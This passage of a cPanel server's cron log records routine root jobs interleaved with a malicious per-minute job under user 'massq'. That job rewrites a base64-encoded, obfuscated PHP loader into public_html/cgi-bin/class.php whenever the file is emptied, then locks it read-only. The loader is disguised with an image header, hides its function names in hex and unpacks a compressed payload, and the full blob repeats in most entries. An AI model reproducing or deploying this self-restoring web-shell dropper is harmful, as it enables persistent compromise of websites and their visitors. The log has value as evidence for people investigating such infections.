tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:45:01 server CROND[30803]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:46:01 server CROND[31682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:46:01 server CROND[31683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:46:01 server CROND[31681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:47:01 server CROND[32055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:47:01 server CROND[32056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:47:01 server CROND[32057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:48:01 server CROND[32433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:48:01 server CROND[32434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:48:01 server CROND[32435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:49:01 server CROND[355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:49:01 server CROND[356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:49:01 server CROND[357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:50:01 server CROND[762]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 04:50:01 server CROND[768]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 04:50:01 server CROND[774]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:50:01 server CROND[777]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:50:01 server CROND[771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:50:01 server CROND[772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:50:01 server CROND[775]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 04:50:01 server CROND[776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:50:01 server CROND[779]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 04:51:01 server CROND[1683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:51:01 server CROND[1682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:51:01 server CROND[1684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:52:01 server CROND[2181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:52:01 server CROND[2182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:52:01 server CROND[2183]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:53:01 server CROND[2567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:53:01 server CROND[2568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:53:01 server CROND[2576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:54:01 server CROND[3001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:54:01 server CROND[3002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:54:01 server CROND[3003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:55:01 server CROND[3380]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 04:55:01 server CROND[3382]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 04:55:01 server CROND[3384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:55:01 server CROND[3385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:55:01 server CROND[3387]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:55:01 server CROND[3383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:55:01 server CROND[3386]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:56:01 server CROND[4200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:56:01 server CROND[4201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:56:01 server CROND[4202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:57:01 server CROND[4728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:57:01 server CROND[4729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:57:01 server CROND[4727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:57:01 server CROND[4730]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 04:58:01 server CROND[5102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:58:01 server CROND[5103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
